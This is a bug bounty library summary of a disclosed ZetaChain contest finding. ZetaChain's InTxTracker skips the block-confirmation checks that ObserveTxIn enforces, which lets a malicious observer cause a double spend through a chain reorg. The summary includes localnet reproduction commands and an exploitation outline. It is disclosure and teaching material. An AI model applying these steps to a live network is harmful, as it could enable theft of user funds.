# Inbound Tx Confirmation Bypass via Malicious Observer 

ZetaChain's InTxTracker path processes inbound ETH/BTC transactions without block-confirmation checks, letting a malicious observer exploit a reorg for double spend.

- Payout: Contest reward
- Severity: medium
- Program: ZetaChain
- Credited: ChristiansWhoHack
- Disclosed: 2024-09-06
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2023-11-zetachain-findings/issues/326
- Library page: https://bugbountylibrary.com/r/c4%3A2023-11-zetachain%3AM-27
- Tags: domain:web3 impact:funds-loss impact:integrity kind:contest platform:code4rena sev:medium technique:chained technique:source-review vuln:business-logic

**Target:** zetaclient inbound_tracker.go (EVM/Bitcoin inbound tx processing)
**Root cause:** InTxTracker processing queries inbound events by txhash without enforcing the block confirmation threshold that ObserveTxIn applies, so unconfirmed/forkable transactions are acted upon.
**Steps:**
1. Setup ZetaChain localnet; attach to geth via `geth attach ipc://tmp/geth.ipc`.
2. Find ETH TSS address from orchestrator logs.
3. Send ETH to TSS: `cast send --value 1000007 <TSS> --private-key <key>`.
4. Immediately add tx to tracker: `zetacored tx crosschain add-to-in-tx-tracker 1337 <HASH> 1 --from <addr> --yes --fees 10000azeta --chain-id athens_101-1`.
5. Run `miner.stop()` in geth to halt the chain before confirmations.
6. Observe `zetacored query crosschain list-cctx -o json | jq '.CrossChainTx | length'` increments despite unmet confirmations.
**How found:** Noticed InTxTracker and ObserveTxIn implement near-identical parsing separately; ObserveTxIn enforces confirmation counts but InTxTracker does not, and observers can submit by txhash without a proof.
**Exploitation:** A malicious/compromised observer spots a fork, submits the forked tx to InTxTracker, and the CCTX is processed before confirmations; a later reorg leaves funds both at destination and in owner's wallet (double spend).
**Insight:** When two code paths parse the same events, diff their validation: the newer/alternate path (here txhash-driven tracker) often omits finality/confirmation checks the canonical path enforces.